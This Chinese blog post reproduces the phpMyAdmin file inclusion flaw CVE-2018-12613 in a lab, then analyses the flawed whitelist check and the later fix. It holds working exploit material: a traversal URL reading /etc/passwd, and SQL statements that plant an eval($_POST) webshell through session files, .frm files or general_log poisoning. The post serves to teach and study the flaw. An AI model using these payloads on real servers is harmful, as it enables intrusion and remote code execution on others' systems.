欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页

【漏洞复现】phpmyadmin后台任意文件包含(CVE-2018-12613)

程序员文章站 2022-07-15 15:53:56
...


许久没有在CSDN更新博文了,主要是最近在自己搭建博客网站,已经初具形态,之后大部分博文都会发布在自己的博客网站上,少量的会同步在CSDN,小伙伴们可以去那里看我的一些学习分享呦????

博客传送门:https://www.yyxzz.xyz
本文传送门:https://www.yyxzz.xyz/index.php/2020/09/29/58.html

0x00 简述

由于对index.php中包含文件的target参数未作严格的安全校验,导致可以被利用绕过白名单、黑名单校验从而进行本地文件包含,达到GetShell和命令执行的效果。

要想利用该漏洞,攻击者必须经过身份验证,但在这些情况下除外:

  • $ cfg [‘AllowArbitraryServer’] =
    true:攻击者可以指定他已经控制的任何主机,并在phpMyAdmin上执行任意代码
  • $ cfg [‘ServerDefault’] = 0:这会绕过登录并在没有任何身份验证的情况下运行易受攻击的代码

影响版本:

  • Phpmyadmin 4.8.0
  • Phpmyadmin 4.8.0.1
  • Phpmyadmin 4.8.1

0x01 漏洞验证

Docker拉取靶场环境,创建靶场环境

【漏洞复现】phpmyadmin后台任意文件包含(CVE-2018-12613)
浏览器访问8080端口,即可进入phpmyadmin界面,因为靶场用的是config方式的身份验证,因此不需要使用账号密码登录

【漏洞复现】phpmyadmin后台任意文件包含(CVE-2018-12613)
根据漏洞报告和网上师傅们的复现文章,是在index.php文件处存在本地文件包含漏洞,所以验证代码如下:

http://192.168.11.12:8080/index.php?target=db_sql.php%253f/../../../../../../../../etc/passwd

成功读取passwd文件

【漏洞复现】phpmyadmin后台任意文件包含(CVE-2018-12613)
此时可以利用session文件写入phpinfo()木马,首先执行SQL语句:

select '<?php phpinfo() ?>';

然后F12查看此时用户的sessionID,也就是phpmyadmin的Cookie值,此值就是Mysql保存在本地的临时会话文件,使用以下url访问该临时文件,即可执行此前插入的木马语句:

http://192.168.11.12:8080/index.php?target=db_sql.php%253f/../../../../../../../../tmp/sess_8f36723f61b00567f291c3e7218be400

注意:需要将sess_后的内容改为自己当前的Cookie值

【漏洞复现】phpmyadmin后台任意文件包含(CVE-2018-12613)

0x02 GetShell

1.利用sesion文件

执行以下SQL命令,同上方法访问临时session文件,即可php命令在网站目录下创建a.php并写入一句话

SELECT `<?php fputs(fopen("a.php","w"),'<?php eval($_POST[a]);?>');?>`;

【漏洞复现】phpmyadmin后台任意文件包含(CVE-2018-12613)

蚁剑成功连接:

【漏洞复现】phpmyadmin后台任意文件包含(CVE-2018-12613)

可打开虚拟终端和文件系统

【漏洞复现】phpmyadmin后台任意文件包含(CVE-2018-12613)

2.利用数据库文件(frm表结构文件)

通过创建表并将字段名定义为一句话木马,随后利用包含访问该文件即可:

【漏洞复现】phpmyadmin后台任意文件包含(CVE-2018-12613)
但是因为我在Docker上搭建的环境,Web和Mysql用的2个主机环境,也就是库站分离,所以无法包含数据库文件,但是可以在Mysql虚拟机里看到木马:

【漏洞复现】phpmyadmin后台任意文件包含(CVE-2018-12613)

所以和上边session文件一样,只需要将数据库字段名设置为以下语句:

SELECT `<?php fputs(fopen("a.php","w"),'<?php eval($_POST[a]);?>');?>`;

然后包含相应的test.frm文件,即可执行命令在网站目录下创建一个a.php的木马

为了测试,我直接在Web主句目录下写入一个frm文件,然后在phpmyadmin中包含该文件:

【漏洞复现】phpmyadmin后台任意文件包含(CVE-2018-12613)
即可创建a.php,蚁剑连接,成功进入shell环境:

【漏洞复现】phpmyadmin后台任意文件包含(CVE-2018-12613)
【漏洞复现】phpmyadmin后台任意文件包含(CVE-2018-12613)

3.利用日志文件

还有就是可以利用日志文件,但是当前环境权限不足,且没有开启日志功能,所以无法复现,具体原理同以上两种方法。

因为是存在本地文件包含,所以如果不是库站分离的情况下,是不需要修改日志路径为网站根路径的,任意路径即可,只需利用包含漏洞包含该日志文件,执行的php命令是在网站根路径创建新的木马文件。

打开general_log:set global general_log = on
执行以下命令:

SELECT `<?php fputs(fopen("/var/www/html/a.php","w"),'<?php eval($_POST[a]);?>');?>`;

包含日志文件,即可在网站根目录生成a.php的一句话木马。

0x03 原理分析

漏洞形成在index.php文件中,通过includes来加载传入的target参数文件,在第55行到59行对target参数做了过滤:

【漏洞复现】phpmyadmin后台任意文件包含(CVE-2018-12613)

// If we have a valid target, let's load that script instead
if (! empty($_REQUEST['target'])
    && is_string($_REQUEST['target'])
    && ! preg_match('/^index/', $_REQUEST['target'])
    && ! in_array($_REQUEST['target'], $target_blacklist)
    && Core::checkPageValidity($_REQUEST['target'])
) {
    include $_REQUEST['target'];
    exit;
}

非空
是字符串
不能包含index
不在target_blacklist黑名单内
其中target_blacklist内容在50到52行定义:import.php、export.php

【漏洞复现】phpmyadmin后台任意文件包含(CVE-2018-12613)
第5个校验:通过Core类的checkPageValidity方法校验页面合法性

在源码中找到Core类,导出到本地

【漏洞复现】phpmyadmin后台任意文件包含(CVE-2018-12613)
在Core类443行找到了checkPageValidity方法:

【漏洞复现】phpmyadmin后台任意文件包含(CVE-2018-12613)

public static function checkPageValidity(&$page, array $whitelist = [])
    {
        if (empty($whitelist)) {
            $whitelist = self::$goto_whitelist;
        }
        if (! isset($page) || !is_string($page)) {
            return false;
        }
 
        if (in_array($page, $whitelist)) {
            return true;
        }
 
        $_page = mb_substr(
            $page,
            0,
            mb_strpos($page . '?', '?')
        );
        if (in_array($_page, $whitelist)) {
            return true;
        }
 
        $_page = urldecode($page);
        $_page = mb_substr(
            $_page,
            0,
            mb_strpos($_page . '?', '?')
        );
        if (in_array($_page, $whitelist)) {
            return true;
        }
 
        return false;
    }

其中,第452行判断传进的page参数是否在whitelist白名单内,如果在内则判断成功,返回True,因此关键点就是让page也就是$_REQUEST[‘target’],即target传入的文件名存在于该白名单whitelist内

该函数中whitelist参数是有默认值的,默认为空,而whitelist白名单又在第445到447行做了判断,判断传入的whitelist参数是否为空,如果为空则将Core类中的$goto_whitelist赋值给whitelist,因为在index.php文件中电泳该方法时并未指定whitelist,因此此时的whitelist内容就是Core类中的goto_whitelist内容

往前找,在Core类的31行定义了$goto_whitelist,如下:

【漏洞复现】phpmyadmin后台任意文件包含(CVE-2018-12613)

public static $goto_whitelist = array(
        'db_datadict.php',
        'db_sql.php',
        'db_events.php',
        'db_export.php',
        'db_importdocsql.php',
        'db_multi_table_query.php',
        'db_structure.php',
        'db_import.php',
        'db_operations.php',
        'db_search.php',
        'db_routines.php',
        'export.php',
        'import.php',
        'index.php',
        'pdf_pages.php',
        'pdf_schema.php',
        'server_binlog.php',
        'server_collations.php',
        'server_databases.php',
        'server_engines.php',
        'server_export.php',
        'server_import.php',
        'server_privileges.php',
        'server_sql.php',
        'server_status.php',
        'server_status_advisor.php',
        'server_status_monitor.php',
        'server_status_queries.php',
        'server_status_variables.php',
        'server_variables.php',
        'sql.php',
        'tbl_addfield.php',
        'tbl_change.php',
        'tbl_create.php',
        'tbl_import.php',
        'tbl_indexes.php',
        'tbl_sql.php',
        'tbl_export.php',
        'tbl_operations.php',
        'tbl_structure.php',
        'tbl_relation.php',
        'tbl_replace.php',
        'tbl_row_action.php',
        'tbl_select.php',
        'tbl_zoom_select.php',
        'transformation_overview.php',
        'transformation_wrapper.php',
        'user_password.php',
    );

所以,只需要将target参数设定在该白名单内,即可成功返回True,但是我们需要做的是给target参数继续传参,达到任意文件包含,所以还需要看下边的?校验。

网上文章都对456行到473行的?校验做了分析,得到的结果是需要对?进行二次URL编码来绕过校验,但是其实由于代码的逻辑是先用?进行截断,取出?前的文件名来做白名单校验,成功直接返回True,不再执行下边urldecode后的?校验,所以其实不需要对?做编码处理,也可以成功执行:

【漏洞复现】phpmyadmin后台任意文件包含(CVE-2018-12613)
但是还是分析一下原理,这部分代码是这样的:

【漏洞复现】phpmyadmin后台任意文件包含(CVE-2018-12613)
对page参数做了两次?的截断判断,将?前的文件名做白名单校验,第一次直接截断,失败后进行url解码再次截断判断。

其实也就表示允许target参数带参,如果传入的target参数也是带参的话,同样会将其参数指向的文件包含进来,也正是因为这种机制导致了任意文件包含。

不得不说phpmyadmin开发人员考虑的太周到了,又是主动urldecode,又是可以参数继续传参,多种判断都可以返回True,真是贴心,泪目~????????????

0x04 防御

从用户角度来看的话,那就是升级版本,没得说。

从开发者角度来看,由于未能理解他们可以多次传参的初衷,所以我认为在没有必要的情况下可以将该功能删除,只保留target一次传参,即只能包含白名单内的文件。

而在后续的版本中也证实了这个观点,开发人员给Core的checkPageValidity方法加了一个include参数,用来标志是否开启连续传参:

【漏洞复现】phpmyadmin后台任意文件包含(CVE-2018-12613)

当include参数为True时,即表示不允许多次传参。

【漏洞复现】phpmyadmin后台任意文件包含(CVE-2018-12613)

PS:我怎么jiao的这块开发人员写错了呢????,应该是

if (! $include) {
    return false;
}

这样就表示传参为True时,可以连续传参包含,传参为False时不允许,这也和$include的初始值相对应。

随便想想~